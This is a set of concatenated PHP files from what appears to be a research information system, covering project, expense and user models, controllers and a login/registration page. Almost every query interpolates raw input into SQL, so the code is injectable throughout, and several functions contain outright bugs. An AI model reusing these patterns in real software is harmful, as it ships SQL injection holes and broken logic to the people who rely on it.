<!-- END FOOTER -->
</div>
</div>
</div>
<!--[if lt IE 9]>
<script src="assets/global/plugins/respond.min.js"></script>
<script src="assets/global/plugins/excanvas.min.js"></script>
<script src="assets/global/plugins/ie8.fix.min.js"></script>
<![endif]-->
<?php include_once ('dependencies/bottom_resources.php');?>
</body>
</html><file_sep><?php
function getallprojects() {
require_once('dbconnect.php');
$query = "SELECT * FROM project WHERE active = 1";
$con = createconnection();
if (isset($query)) {
$result = mysqli_query($con, $query);
$num_rows = mysqli_num_rows($result);
$query_result = array();
if ($num_rows > 0) {
while ($row = mysqli_fetch_array($result, MYSQLI_ASSOC)) {
$query_result[] = $row;
}
return $query_result;
} else {
return FALSE;
}
}
$con->close();
}
function getprojectbyid($id) {
require_once('dbconnect.php');
$query = "SELECT * FROM project WHERE active = 1 AND projectID='$id'";
$con = createconnection();
if (isset($query)) {
$result = mysqli_query($con, $query);
$num_rows = mysqli_num_rows($result);
$query_result = array();
if ($num_rows > 0) {
while ($row = mysqli_fetch_array($result, MYSQLI_ASSOC)) {
$query_result[] = $row;
}
return $query_result;
} else {
return FALSE;
}
}
$con->close();
}
function getallprojectswithoutpi() {
require_once('dbconnect.php');
$query = "SELECT * FROM project p WHERE p.projectID NOT IN (SELECT pu.projectID FROM project_user pu)";
$con = createconnection();
if (isset($query)) {
$result = mysqli_query($con, $query);
$num_rows = mysqli_num_rows($result);
$query_result = array();
if ($num_rows > 0) {
while ($row = mysqli_fetch_array($result, MYSQLI_ASSOC)) {
$query_result[] = $row;
}
return $query_result;
} else {
return FALSE;
}
}
$con->close();
}
function getprojectwithpi($id) {
require_once('dbconnect.php');
$query = "SELECT * FROM project WHERE projectID IN (SELECT projectID FROM project_user WHERE userID = '$id' AND active = 1);";
$con = createconnection();
if (isset($query)) {
$result = mysqli_query($con, $query);
$num_rows = mysqli_num_rows($result);
$query_result = array();
if ($num_rows > 0) {
while ($row = mysqli_fetch_array($result, MYSQLI_ASSOC)) {
$query_result[] = $row;
}
return $query_result;
} else {
return FALSE;
}
}
$con->close();
}
function deactivateproject($id) {
require_once('dbconnect.php');
$query = "UPDATE project set active='0' WHERE projectID='$id'";
$con = createconnection();
if (isset($query)) {
$result = mysqli_query($con, $query);
return TRUE;
}
$con->close();
}
function setproject($name, $description, $startdate, $enddate, $fundingorganization) {
require_once('dbconnect.php');
$query = "INSERT INTO project (name,fundingOrganization,description,startdate,enddate) VALUES ('$name','$fundingorganization','$description','$startdate','$enddate')";
$con = createconnection();
if (isset($query)) {
$result = mysqli_query($con, $query);
return $query;
}
$con->close();
}
function setprojectprincipalinvestigator($projectID, $userID) {
require_once('dbconnect.php');
$query = "UPDATE user SET usertype = 2 WHERE userID='$userID'";
$con = createconnection();
if (isset($query)) {
$result = mysqli_query($con, $query);
}
$query = "INSERT INTO project_user (projectID,userID) VALUES('$projectID','$userID')";
$con = createconnection();
if (isset($query)) {
$result = mysqli_query($con, $query);
return TRUE;
$con->close();
}
}
function updateproject($name, $description, $startdate, $enddate, $id) {
require_once('dbconnect.php');
$query = "UPDATE project SET name='$name', description='$description' ,startdate='$startdate',enddate='$enddate' WHERE projectID = '$id'";
$con = createconnection();
if (isset($query)) {
$result = mysqli_query($con, $query);
return TRUE;
}
$con->close();
}
<file_sep>
<!DOCTYPE html>
<!--
Template Name: Metronic - Responsive Admin Dashboard Template build with Twitter Bootstrap 3.3.7
Version: 4.7.5
Author: KeenThemes
Website: http://www.keenthemes.com/
Contact: <EMAIL>
Follow: www.twitter.com/keenthemes
Dribbble: www.dribbble.com/keenthemes
Like: www.facebook.com/keenthemes
Purchase: http://themeforest.net/item/metronic-responsive-admin-dashboard-template/4021469?ref=keenthemes
Renew Support: http://themeforest.net/item/metronic-responsive-admin-dashboard-template/4021469?ref=keenthemes
License: You must have a valid license purchased only from themeforest(the above link) in order to legally use the theme for your project.
-->
<!--[if IE 8]> <html lang="en" class="ie8 no-js"> <![endif]-->
<!--[if IE 9]> <html lang="en" class="ie9 no-js"> <![endif]-->
<!--[if !IE]><!-->
<html lang="en">
<!--<![endif]-->
<!-- BEGIN HEAD -->
<?php
session_start();
require_once ('controller/c_login.php');
if (isset($_POST['email']) && isset($_POST['password'])) {
$view_result = login($_POST['email'], $_POST['password']);
} else if (isset($_POST['fn']) && isset($_POST['mn']) && isset($_POST['ln']) && isset($_POST['em']) && isset($_POST['p1']) && isset($_POST['p2']) && isset($_POST['spe'])) {
$view_result = submit_userform($_POST['fn'], $_POST['mn'], $_POST['ln'], $_POST['em'], $_POST['p1'], $_POST['p2'], $_POST['spe'], $_POST['mas'], $_POST['doc']);
}
?>
<head>
<meta charset="utf-8" />
<title>SDRC-RIS: Login</title>
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta content="width=device-width, initial-scale=1" name="viewport" />
<meta content="Preview page of Metronic Admin Theme #3 for " name="description" />
<meta content="" name="author" />
<!-- BEGIN GLOBAL MANDATORY STYLES -->
<link href="http://fonts.googleapis.com/css?family=Open+Sans:400,300,600,700&subset=all" rel="stylesheet" type="text/css" />
<link href="assets/global/plugins/font-awesome/css/font-awesome.min.css" rel="stylesheet" type="text/css" />
<link href="assets/global/plugins/simple-line-icons/simple-line-icons.min.css" rel="stylesheet" type="text/css" />
<link href="assets/global/plugins/bootstrap/css/bootstrap.min.css" rel="stylesheet" type="text/css" />
<link href="assets/global/plugins/bootstrap-switch/css/bootstrap-switch.min.css" rel="stylesheet" type="text/css" />
<!-- END GLOBAL MANDATORY STYLES -->
<!-- BEGIN PAGE LEVEL PLUGINS -->
<link href="assets/global/plugins/select2/css/select2.min.css" rel="stylesheet" type="text/css" />
<link href="assets/global/plugins/select2/css/select2-bootstrap.min.css" rel="stylesheet" type="text/css" />
<!-- END PAGE LEVEL PLUGINS -->
<!-- BEGIN THEME GLOBAL STYLES -->
<link href="assets/global/css/components-md.css" rel="stylesheet" id="style_components" type="text/css" />
<link href="assets/global/css/plugins-md.min.css" rel="stylesheet" type="text/css" />
<!-- END THEME GLOBAL STYLES -->
<!-- BEGIN PAGE LEVEL STYLES -->
<link href="assets/pages/css/login-2.css" rel="stylesheet" type="text/css" />
<link href="assets/global/plugins/bootstrap-sweetalert/sweetalert.css" rel="stylesheet" type="text/css" />
<!-- END PAGE LEVEL STYLES -->
<!-- BEGIN THEME LAYOUT STYLES -->
<!-- END THEME LAYOUT STYLES -->
<link rel="shortcut icon" href="favicon.ico" /> </head>
<!-- END HEAD -->
<body class=" login">
<!-- BEGIN LOGO -->
<div class="logo">
<a>
<img src="assets/pages/img/sdrc-logo.png" style="height: 220px;" alt="" /> </a>
</div>
<!-- END LOGO -->
<!-- BEGIN LOGIN -->
<div class="content">
<div style="display: none;" class="btn btn-default mt-sweetalert" data-title="Login Failed" data-message="Please check your username or password" data-allow-outside-click="true" data-confirm-button-class="btn-default" id ="fail">Default Alert</div>
<div style="display: none;" class="btn btn-default mt-sweetalert" data-title="Successfully Registered" data-message="Thank you for registering your information" data-allow-outside-click="true" data-confirm-button-class="btn-default" id ="registered">Default Alert</div>
<!-- BEGIN LOGIN FORM -->
<form class="login-form" action="<?php ($_SERVER["PHP_SELF"]) ?>" method="post">
<div class="form-title">
<span class="form-title">Social Development Research Center</span>
<span class="form-subtitle">Research Information System</span>
</div>
<div class="alert alert-danger display-hide">
<button class="close" data-close="alert"></button>
<span> Please check your username. </span>
</div>
<div class="form-group">
<!--ie8, ie9 does not support html5 placeholder, so we just show field title for that-->
<label class="control-label visible-ie8 visible-ie9">Email</label>
<input class="form-control form-control-solid placeholder-no-fix" type="email" autocomplete="off" placeholder="Email" name="email" /> </div>
<div class="form-group">
<label class="control-label visible-ie8 visible-ie9">Password</label>
<input class="form-control form-control-solid placeholder-no-fix" type="password" autocomplete="off" placeholder="<PASSWORD>" name="password" /> </div>
<div class="form-actions">
<button type="submit" class="btn btn-block uppercase">Login</button>
</div>
<div class="form-actions">
<div class="pull-left">
<label class="rememberme mt-checkbox mt-checkbox-outline">
<input type="checkbox" name="remember" value="1" /> Remember me
<span></span>
</label>
</div>
<div class="pull-right forget-password-block">
<a href="javascript:;" id="forget-password" class="forget-password">Forgot Password?</a>
</div>
</div>
<hr>
<div class="create-account">
<p>
<a href="javascript:;" class="btn-default btn" id="register-btn"><font color="white">Create an account</font></a>
</p>
</div>
</form>
<!-- END LOGIN FORM -->
<!-- BEGIN FORGOT PASSWORD FORM -->
<form class="forget-form" action="<?php ($_SERVER["PHP_SELF"]) ?>" method="post">
<div class="form-title">
<span class="form-title">Forgot your password ?</span><br>
<span class="form-subtitle"> Please contact your system admin</span>
<div class="form-actions">
<button type="button" id="back-btn" class="btn btn-default">Back</button>
</div>
</div>
</form>
<!-- END FORGOT PASSWORD FORM -->
<!-- BEGIN REGISTRATION FORM -->
<form class="register-form" action="<?php ($_SERVER["PHP_SELF"]) ?>" method="post">
<div class="form-title">
<span class="form-title">Sign Up</span>
</div>
<p class="form-subtitle"> Enter your personal details below: </p>
<div class="form-group">
<label class="control-label visible-ie8 visible-ie9">First Name</label>
<input class="form-control placeholder-no-fix" type="text" placeholder="First Name" name="fn" required/> </div>
<div class="form-group">
<label class="control-label visible-ie8 visible-ie9">Middle Name</label>
<input class="form-control placeholder-no-fix" type="text" placeholder="Middle Name" name="mn" required/> </div>
<div class="form-group">
<label class="control-label visible-ie8 visible-ie9">Last Name</label>
<input class="form-control placeholder-no-fix" type="text" placeholder="Last Name" name="ln" required/> </div>
<div class="form-group">
<!--ie8, ie9 does not support html5 placeholder, so we just show field title for that-->
<label class="control-label visible-ie8 visible-ie9">Email</label>
<input class="form-control placeholder-no-fix" type="text" placeholder="Email" name="em" required/> </div>
<div class="form-group">
<label class="control-label visible-ie8 visible-ie9">Password</label>
<input class="form-control placeholder-no-fix" type="password" autocomplete="off" id="register_password" placeholder="<PASSWORD>" name="p1" required/> </div>
<div class="form-group">
<label class="control-label visible-ie8 visible-ie9">Re-type Your Password</label>
<input class="form-control placeholder-no-fix" type="password" autocomplete="off" placeholder="Re-type Your Password" name="p2" required/> </div>
<div class="form-group">
<label class="control-label visible-ie8 visible-ie9">Expertise</label>
<input class="form-control placeholder-no-fix" type="text" placeholder="Specialization" name="spe" /> </div>
<div class="form-group">
<label class="control-label visible-ie8 visible-ie9">Master's Degree</label>
<input class="form-control placeholder-no-fix" type="text" placeholder="Master's Degree" name="mas" /> </div>
<div class="form-group">
<label class="control-label visible-ie8 visible-ie9">Doctorate Degree</label>
<input class="form-control placeholder-no-fix" type="text" placeholder="Doctorate Degree" name="doc" /> </div>
<div class="form-group margin-top-20 margin-bottom-20">
<label class="mt-checkbox mt-checkbox-outline">
<input type="checkbox" name="tnc" /> I agree that the information I have submitted is accurate and legitimate.
<span></span>
</label>
<div id="register_tnc_error"> </div>
</div>
<div class="form-actions">
<button type="button" id="register-back-btn" class="btn btn-default">Back</button>
<button type="submit" id="register-submit-btn" class="btn uppercase pull-right">Submit</button>
</div>
</form>
<!-- END REGISTRATION FORM -->
</div>
<div class="copyright hide"> 2014 © Metronic. Admin Dashboard Template. </div>
<!-- END LOGIN -->
<!--[if lt IE 9]>
<script src="../assets/global/plugins/respond.min.js"></script>
<script src="../assets/global/plugins/excanvas.min.js"></script>
<script src="../assets/global/plugins/ie8.fix.min.js"></script>
<![endif]-->
<!-- BEGIN CORE PLUGINS -->
<script src="assets/global/plugins/jquery.min.js" type="text/javascript"></script>
<script src="assets/global/plugins/bootstrap/js/bootstrap.min.js" type="text/javascript"></script>
<script src="assets/global/plugins/js.cookie.min.js" type="text/javascript"></script>
<script src="assets/global/plugins/jquery-slimscroll/jquery.slimscroll.min.js" type="text/javascript"></script>
<script src="assets/global/plugins/jquery.blockui.min.js" type="text/javascript"></script>
<script src="assets/global/plugins/bootstrap-switch/js/bootstrap-switch.min.js" type="text/javascript"></script>
<!-- END CORE PLUGINS -->
<!-- BEGIN PAGE LEVEL PLUGINS -->
<script src="assets/global/plugins/jquery-validation/js/jquery.validate.min.js" type="text/javascript"></script>
<script src="assets/global/plugins/jquery-validation/js/additional-methods.min.js" type="text/javascript"></script>
<script src="assets/global/plugins/select2/js/select2.full.min.js" type="text/javascript"></script>
<!-- END PAGE LEVEL PLUGINS -->
<!-- BEGIN THEME GLOBAL SCRIPTS -->
<script src="assets/global/scripts/app.min.js" type="text/javascript"></script>
<!-- END THEME GLOBAL SCRIPTS -->
<!-- BEGIN PAGE LEVEL SCRIPTS -->
<script src="assets/pages/scripts/login.js" type="text/javascript"></script>
<!-- END PAGE LEVEL SCRIPTS -->
<!-- BEGIN THEME LAYOUT SCRIPTS --><script src="assets/global/plugins/bootstrap-sweetalert/sweetalert.min.js" type="text/javascript"></script>
<script src="assets/pages/scripts/ui-sweetalert.js" type="text/javascript"></script>
<script src="assets/global/plugins/bootbox/bootbox.min.js" type="text/javascript"></script>
<script src="assets/pages/scripts/ui-bootbox.min.js" type="text/javascript"></script>
<script src="assets/pages/scripts/ui-bootbox.js" type="text/javascript"></script>
<!-- END THEME LAYOUT SCRIPTS -->
<script>
<?php
if(isset($view_result)&&$view_result==FALSE)
echo'$(document).ready(function(){
document.getElementById("fail").click();
});';
else if(isset($view_result)&&$view_result=="REGISTERED")
echo'$(document).ready(function(){
document.getElementById("registered").click();
});';
?></script>
</body>
</html><file_sep><?php
require_once 'model/m_user.php';
require_once 'model/m_project.php';
require_once 'functions/emailer.php';
function generate_all_project_withoutpi() {
$result = array();
$result = getallprojectswithoutpi();
return $result;
}
function generate_all_users() {
$result = array();
$result = getalluserswithoutusertype();
return $result;
}
function submit_principal_investigator($project, $researcher) {
setuser_as_principalinvestigator($researcher);
$controller_result = setprojectprincipalinvestigator($project, $researcher);
if ($controller_result = TRUE) {
sendconfirmation($researcher, $project);
}
}
function sendconfirmation($researcher, $project) {
$id = $researcher;
$result = array();
$result = getuserbyid($id);
$result2 = array();
$result2 = getprojectbyid($id);
foreach ($result2 as $ar_result) {
$name = $ar_result['name'];
$description = $ar_result['description'];
$startdate = $ar_result['startdate'];
$enddate = $ar_result['enddate'];
}
foreach ($result as $arr_result) {
$firstname = $arr_result['firstname'];
$middlename = $arr_result['middlename'];
$lastname = $arr_result['lastname'];
$email = $arr_result['email'];
$usertype = $arr_result['usertype'];
}
echo "<script type='text/javascript'>alert('You have successfully made ".$firstname."as a Principal Investigator!');</script>";;
$subject = "ASSIGNMENT FOR PROJECT AS PRINCIPAL INVESTIGATOR";
$message = "Good day! <br> $firstname $middlename $lastname <br><br>You have been assigned as the principal investigator for the project: $name <br> starts on $startdate and ends on $enddate <br><br> Thank you!<br><br>SDRC Research Information System";
email($email, $subject, $message);
}
<file_sep><?php
require_once 'model/m_health_data.php';
function generate_all_healthdata(){
$result=array();
$result= getallhealth_data();
return $result;
}
<file_sep><?php
require_once ('model/m_questionnaire.php');
function getallquestionnaires() {
$result = array();
$result = getallquestionnaire();
return $result;
}
function submit_questionnaire($projectID, $questionnaireTitle, $questionnaireObjective, $created, $approved, $AnsweredBy, $AnsweredAge, $AnsweredSex) {
$controller_result = uploadquestionnaire($projectID, $questionnaireTitle, $questionnaireObjective, $created, $approved, $AnsweredBy, $AnsweredAge, $AnsweredSex);
}
function submit_questionsanddata($data) {
$fh = fopen($data['tmp_name'], 'r+');
$questions = fgetcsv($fh);
$list = explode(',', $questions);
$line = array();
while (($row = fgetcsv($fh, 8192)) !== FALSE) {
$lines[] = $row;
}
foreach ($list as $arr_result) {
$question = $arr_result;
$controller_result = submit_questions($question);
echo "$controller_result<br> ";
}
foreach ($line as $arr_result1) {
for ($x = 0; $x < count($list); $x++) {
$controller_result = uploadquestionnairedata($x+1, $arr_result1);
echo "$controller_result<br> ";
}
}
}
?>
<file_sep><?php
require_once('model/dbconnect.php');
$WHERE = array();
$year = 2015;
$month = September;
$Region = 2015;
if ($year && isset($year)) {
$WHERE[] = "ed.year='$year' ";
}
if ($month && isset($month)) {
$WHERE[] = "ed.month LIKE '$month' ";
}
if ($region && isset($region)) {
$WHERE[] = "ed.region LIKE '$region' ";
}
if ($city && isset($city)) {
$WHERE[] = "ed.municipality LIKE '$city' ";
}
if ($incident && isset($incident)) {
$WHERE[] = "ed.incident LIKE '$incident' ";
}
if ($barangay && isset($barangay)) {
$WHERE[] = "ed.barangay LIKE '$barangay' ";
}
$query = "SELECT DISTINCT ed.incident, ed.number_of_incidents ,ed.region "
. "FROM event_data ed "
. "WHERE ed.active=1 ";
if (count($WHERE)) {
$query .= "AND" . implode(" ", $WHERE);
}
$query .= "GROUP BY ed.incident, ed.region ORDER BY ed.region";
$con = createconnection();
$result = mysqli_query($con, $query);
while ($row = mysqli_fetch_array($result, MYSQLI_ASSOC)) {
$query_result[] = $row;
}
return $query_result;
$con->close();
?><file_sep><?php
function getallwatersystemdamages() {
require_once('dbconnect.php');
$query = "SELECT * FROM water_system_damages WHERE active = 1";
$con = createconnection();
if (isset($query)) {
$result = mysqli_query($con, $query);
$num_rows = mysqli_num_rows($result);
$query_result = array();
if ($num_rows > 0) {
while ($row = mysqli_fetch_array($result, MYSQLI_ASSOC)) {
$query_result[] = $row;
}
return $query_result;
} else {
return FALSE;
}
}
$con->close();
}
function setwatersystemdamages($name) {
require_once('dbconnect.php');
$query = "INSERT INTO water_system_damages (name) VALUES('$name')";
$con = createconnection();
if (isset($query)) {
$result = mysqli_query($con, $query);
return $query;
} else {
return $query;
}
}
function deactivatewatersystemdamages($id) {
require_once('dbconnect.php');
$query = "UPDATE water_system_damages SET ACTIVE=0 WHERE water_system_damagesID = '$id'";
$con = createconnection();
if (isset($query)) {
$result = mysqli_query($con, $query);
return TRUE;
}
$con->close();
}
function getwatersystemdamages($id) {
require_once('dbconnect.php');
$query = "SELECT * FROM water_system_damages WHERE active = 1 AND water_system_damagesID = '$id'";
$con = createconnection();
if (isset($query)) {
$result = mysqli_query($con, $query);
$num_rows = mysqli_num_rows($result);
$query_result = array();
if ($num_rows > 0) {
while ($row = mysqli_fetch_array($result, MYSQLI_ASSOC)) {
$query_result[] = $row;
}
return $query_result;
} else {
return FALSE;
}
}
$con->close();
}
function updatewayersystemdamages($name, $description, $id) {
require_once('dbconnect.php');
$query = "UPDATE water_system_damages SET name='$name' WHERE water_system_damagesID '$id'";
$con = createconnection();
if (isset($query)) {
$result = mysqli_query($con, $query);
return TRUE;
}
$con->close();
}
function getwatersystemdamagesidfromtext($name){
require_once('dbconnect.php');
$query = "SELECT water_system_damagesID FROM water_system_damages WHERE name LIKE '$name' AND active = 1";
$con = createconnection();
if (isset($query)) {
$result = mysqli_query($con, $query);
$num_rows = mysqli_num_rows($result);
$query_result = array();
if ($num_rows > 0) {
while ($row = mysqli_fetch_array($result, MYSQLI_ASSOC)) {
$query_result[] = $row;
}
return $query_result;
} else {
return FALSE;
}
}
$con->close();
}
?>
<file_sep><?php
function getallexpenses() {
require_once('dbconnect.php');
$query = "SELECT ec.name as 'expensecategoryname',amount,remarks,me.name as 'expensemethod',date FROM expense_category ec join project_expenses pe on ec.expensecategoryID=pe.expense_category join method_of_expense me on pe.expense_method=me.expensemethodID WHERE PE.active =1";
$con = createconnection();
if (isset($query)) {
$result = mysqli_query($con, $query);
$num_rows = mysqli_num_rows($result);
$query_result = array();
if ($num_rows > 0) {
while ($row = mysqli_fetch_array($result, MYSQLI_ASSOC)) {
$query_result[] = $row;
}
return $query_result;
} else {
return FALSE;
}
}
$con->close();
}
function setprojectexpenses($amount, $remarks, $project, $expensecategory, $expensemethod) {
$datenow = date("Y-m-d H:i:s");
require_once('dbconnect.php');
$query = "INSERT INTO project_expenses (amount,remarks,date,expense_projectID,expense_category,expense_method) VALUES ('$amount','$remarks','$datenow','$project','$expensecategory','$expensemethod]')";
$con = createconnection();
if (isset($query)) {
$result = mysqli_query($con, $query);
return TRUE;
}
$con->close();
}
function deactivateexpenses($id) {
require_once('dbconnect.php');
$query = "UPDATE project_expenses SET ACTIVE=0 WHERE expenseID = '$id'";
$con = createconnection();
if (isset($query)) {
$result = mysqli_query($con, $query);
return TRUE;
}
$con->close();
}
function getexpensesbyid($id) {
require_once('dbconnect.php');
$query = "SELECT * FROM project_expenses WHERE active = 1 AND expenseID = '$id'";
$con = createconnection();
if (isset($query)) {
$result = mysqli_query($con, $query);
$num_rows = mysqli_num_rows($result);
$query_result = array();
if ($num_rows > 0) {
while ($row = mysqli_fetch_array($result, MYSQLI_ASSOC)) {
$query_result[] = $row;
}
return $query_result;
} else {
return FALSE;
}
}
$con->close();
}
function getexpensesum() {
require_once('dbconnect.php');
$query = "SELECT SUM(amount) as 'amount' FROM project_expenses";
$con = createconnection();
if (isset($query)) {
$result = mysqli_query($con, $query);
$num_rows = mysqli_num_rows($result);
$query_result = array();
if ($num_rows > 0) {
while ($row = mysqli_fetch_array($result, MYSQLI_ASSOC)) {
$query_result[] = $row;
}
return $query_result;
} else {
return FALSE;
}
}
$con->close();
}<file_sep><?php
require_once 'model/m_project.php';
require_once 'model/m_funding.php';
function submit_projectform($name, $description, $startdate, $enddate, $fundingorganization) {
$controller_result = setproject($name, $description, $startdate, $enddate, $fundingorganization);
echo "<script type='text/javascript'>alert('Project successfully registered in the system!');</script>";
}
function generate_all_fundingorganization() {
$result = array();
$result = getallfundingorganization();
return $result;
}
<file_sep><?php
require_once 'model/m_user.php';
require_once 'model/m_project.php';
require_once 'model/m_project_user.php';
function login($email, $password) {
$passresult = checklogin($email, $password);
if ($passresult != FALSE) {
foreach ($passresult as $result) {
$_SESSION['userid'] = $result['userID'];
$_SESSION['username'] = $result['email'];
$_SESSION['firstname'] = $result['firstname'];
$_SESSION['lastname'] = $result['lastname'];
$_SESSION['usertype'] = $result['usertype'];
if ($_SESSION['usertype'] != 1) {
$id = $_SESSION['userid'];
$query_result = getprojectofprojectuser($id);
if ($query_result != FALSE) {
foreach ($query_result as $arr_result) {
$_SESSION['project'] = $arr_result['projectID'];
}
}
}
header('Location: dashboard.php');
}
} else {
return FALSE;
}
}
function pass_all_users($id, $username, $firstname, $lastname, $usertype) {
setsession($id, $email, $firstname, $lastname, $usertype);
}
function submit_userform($firstname, $middlename, $lastname, $email, $password1, $password2, $specializations, $masters, $doctorate) {
if ($password1 == $password2) {
$controller_result = setuser($firstname, $middlename, $lastname, $email, $password1, $specializations, $masters, $doctorate);
return "REGISTERED";
} else {
return 2;
}
}
?><file_sep><?php
/*
* To change this license header, choose License Headers in Project Properties.
* To change this template file, choose Tools | Templates
* and open the template in the editor.
*/
require_once ('model/m_project.php');
function generate_all_projects(){
$result=array();
$result= getallprojects();
return $result;
}
function delete_project($deactivate){
$controller_result=deactivateproject($deactivate);
}<file_sep><?php
require_once ('model/m_minutes_meeting.php');
function submit_minutes($projectID, $data, $userid) {
if ($data['type'] == "application/vnd.ms-excel") {
$fh = fopen($data['tmp_name'], 'r+');
$lines = array();
while (($row = fgetcsv($fh, 8192)) !== FALSE) {
$lines[] = $row;
}
$x = 1;
$checker = array();
foreach ($lines as $arr_result) {
$title = $arr_result[0];
if ($title == NULL || is_string($title)) {
$checker['title'] = $x;
}
$minutes = $arr_result[1];
if ($minutes == NULL || is_string($minutes)) {
$checker['minutes'] = $x;
}
$year = $arr_result[2];
if ($year == NULL || $year < 0) {
$checker['year'] = $x;
}
$meetingDate = $arr_result[3];
if ($meetingDate == NULL || is_string($meetingDate)) {
$checker['meetingDate'] = $x;
}
$x++;
if ($x != 2) {
$controller_result = upload_minutes($projectID, $title, $minutes, $meetingDate, $userid);
}
}
echo "<script type='text/javascript'>alert('Minutes of the Meeting successfully uploaded!');</script>";
header('Location: visualization_minutes_meeting.php');
} else {
echo "<script type='text/javascript'>alert('Please upload a csv file!');</script>";
}
}
function submit_minutes_form($projectID, $title, $minutes, $meetingDate, $userid){
$controller_result = upload_minutes($projectID, $title, $minutes, $meetingDate, $userid);
echo "<script type='text/javascript'>alert('Minutes of the Meeting successfully uploaded!');</script>";
header('Location: visualization_minutes_meeting.php');
}
?>
<file_sep>
<?php
require_once 'model/m_keyword.php';
function submit_keyword($name, $description) {
$controller_result = setcategoryliterature($name, $description);
return 1;
}
function generate_all_keyword() {
$result = array();
$result = getallkeywords();
return $result;
}
function delete_keyword($deactivate) {
$controller_result = deactivatekeyword($deactivate);
return 2;
}
function getupdate_keyword($update) {
$result = array();
$result = getkeyword($update);
return $result;
}
function submitupdate_keyword($name, $id) {
$controller_result = updatekeyword($name, $id);
return 3;
}
<file_sep><?php
function getallways() {
require_once('dbconnect.php');
$query = "SELECT * FROM ways_spreading WHERE active = 1";
$con = createconnection();
if (isset($query)) {
$result = mysqli_query($con, $query);
$num_rows = mysqli_num_rows($result);
$query_result = array();
if ($num_rows > 0) {
while ($row = mysqli_fetch_array($result, MYSQLI_ASSOC)) {
$query_result[] = $row;
}
return $query_result;
} else {
return FALSE;
}
}
$con->close();
}
function add_way($way){
require_once('dbconnect.php');
$query = "INSERT INTO ways_spreading (way) VALUES('$way')";
$con = createconnection();
if (isset($query)) {
$result = mysqli_query($con, $query);
return $query;
} else {
return $query;
}
}
function deactivate_way($ways_spreadingID){
require_once('dbconnect.php');
$query = "UPDATE ways_spreading SET active = 0 WHERE ways_spreadingID = '$ways_spreadingID' ";
$con = createconnection();
if (isset($query)) {
$result = mysqli_query($con, $query);
return $query;
} else {
return $query;
}
}
?>
<file_sep>
<?php
require_once 'model/m_category_literature.php';
function submit_categoryliterature($name, $description) {
$controller_result = setcategoryliterature($name, $description);
return 1;
}
function generate_all_categoryliterature() {
$result = array();
$result = getallcategoryliterature();
return $result;
}
function delete_categoryliterature($deactivate) {
$controller_result = deactivatecategoryliterature($deactivate);
return 2;
}
function getupdate_categoryliterature($update) {
$result = array();
$result = getcategoryliterature($update);
return $result;
}
function submitupdate_categoryliterature($name, $description, $id) {
$controller_result = updatecategoryliterature($name, $description, $id);
return 3;
}
<file_sep><?php
function getallmethodofexpense(){
require_once('dbconnect.php');
$query="SELECT * FROM method_of_expense WHERE active = 1";
$con=createconnection();
if (isset($query)){
$result=mysqli_query($con,$query);
$num_rows = mysqli_num_rows($result);
$query_result=array();
if($num_rows> 0)
{
while($row=mysqli_fetch_array($result,MYSQLI_ASSOC)){
$query_result[]=$row;
}
return $query_result;
}
else{
return FALSE;
}
}
$con->close();
}
function setmethodofexpense($name,$description){
$datenow=date("Y-m-d H:i:s");
require_once('dbconnect.php');
$query="INSERT INTO method_of_expense (name,description) VALUES ('$name','$description')";
$con=createconnection();
if (isset($query)){
$result=mysqli_query($con,$query);
return TRUE;
}
$con->close();
}
function deactivatemethodofexpense($id){
require_once('dbconnect.php');
$query="UPDATE method_of_expense SET ACTIVE=0 WHERE expensemethodID = '$id'";
$con=createconnection();
if (isset($query)){
$result=mysqli_query($con,$query);
return TRUE;
}
$con->close();
}
function getmethodofexpensebyid($id){
require_once('dbconnect.php');
$query="SELECT * FROM method_of_expense WHERE active = 1 AND expensemethodID = '$id'";
$con=createconnection();
if (isset($query)){
$result=mysqli_query($con,$query);
$num_rows = mysqli_num_rows($result);
$query_result=array();
if($num_rows> 0)
{
while($row=mysqli_fetch_array($result,MYSQLI_ASSOC)){
$query_result[]=$row;
}
return $query_result;
}
else{
return FALSE;
}
}
$con->close();
}
function updatemethodofexpense($name,$description,$id)
{
require_once('dbconnect.php');
$query="UPDATE method_of_expense SET name='$name', description='$description' WHERE expensemethodID = '$id'";
$con=createconnection();
if (isset($query)){
$result=mysqli_query($con,$query);
return TRUE;
}
$con->close();
}
<file_sep>
<?php
require_once 'model/m_funding.php';
require_once 'model/m_funding_organization_type.php';
function submit_fundingorganization($name, $description, $type) {
$controller_result = setfunding($name, $description, $type);
return 1;
}
function generate_all_fundingorganization() {
$result = array();
$result = getallfundingorganization();
return $result;
}
function generate_all_fundingorganizationtype() {
$result = array();
$result = getallfundingorganizationtype();
return $result;
}
function delete_fundingorganization($deactivate) {
$controller_result = deactivatefunding($deactivate);
return 2;
}
function update_fundingorganization($name, $description, $type, $id) {
$controller_result = updatefunding($name, $description, $type, $id);
return 3;
}
function getupdate_fundingorganization($update) {
$result = array();
$result = getfundingbyid($update);
return $result;
}
<file_sep><?php
require_once ('model/m_event_data.php');
function geteventdata_area() {
$result = array();
$result = getalleventdata_area();
return $result;
}
function submit_eventdata_area($projectid, $data, $userid) {
$fh = fopen($data['tmp_name'], 'r+');
$lines = array();
while (($row = fgetcsv($fh, 8192)) !== FALSE) {
$lines[] = $row;
}
$x = 0;
$arr_content = array();
$checker = array();
foreach ($lines as $arr_result) {
if ($x > 0) {
$incident = $arr_result[3];
if ($incident == NULL || !is_string($incident)) {
array_push($checker, $x);
}
$year = $arr_result[1];
if ($year == NULL || $year < 0) {
array_push($checker, $x);
}
$month= $arr_result[2];
if ($month== NULL || $month< 0) {
array_push($checker, $x);
}
$municipality = $arr_result[4];
if ($municipality == NULL || !is_string($municipality)) {
array_push($checker, $x);
}
$barangay = $arr_result[5];
if ($barangay == NULL || !is_string($barangay)) {
array_push($checker, $x);
}
$region = $arr_result[0];
if ($region== NULL || !is_string($region)) {
array_push($checker, $x);
}
$numofdeaths = $arr_result[6];
if ($numofdeaths < 0) {
array_push($checker, $x);
}
$number_of_incidents= $arr_result[7];
if ($number_of_incidents< 0) {
array_push($checker, $x);
}
$projectID = $projectid;
$number_of_deaths = $numofdeaths;
$uploadedBy = $userid;
$x++;
$newdata = array(
'project' => $projectID,
'region' => $region,
'year' => $year,
'month' => $month,
'incident' => $incident,
'municipality' => $municipality,
'barangay' => $barangay,
'numberofdeaths' => $number_of_deaths,
'numberofincidents' => $number_of_incidents,
'uploadedby' => $uploadedBy
);
array_push($arr_content, $newdata);
}
$x++;
}
if ($checker==NULL) {
foreach ($arr_content as $line) {
$projectID = $line['project'];
$region = $line['region'];
$year = $line['year'];
$month = $line['month'];
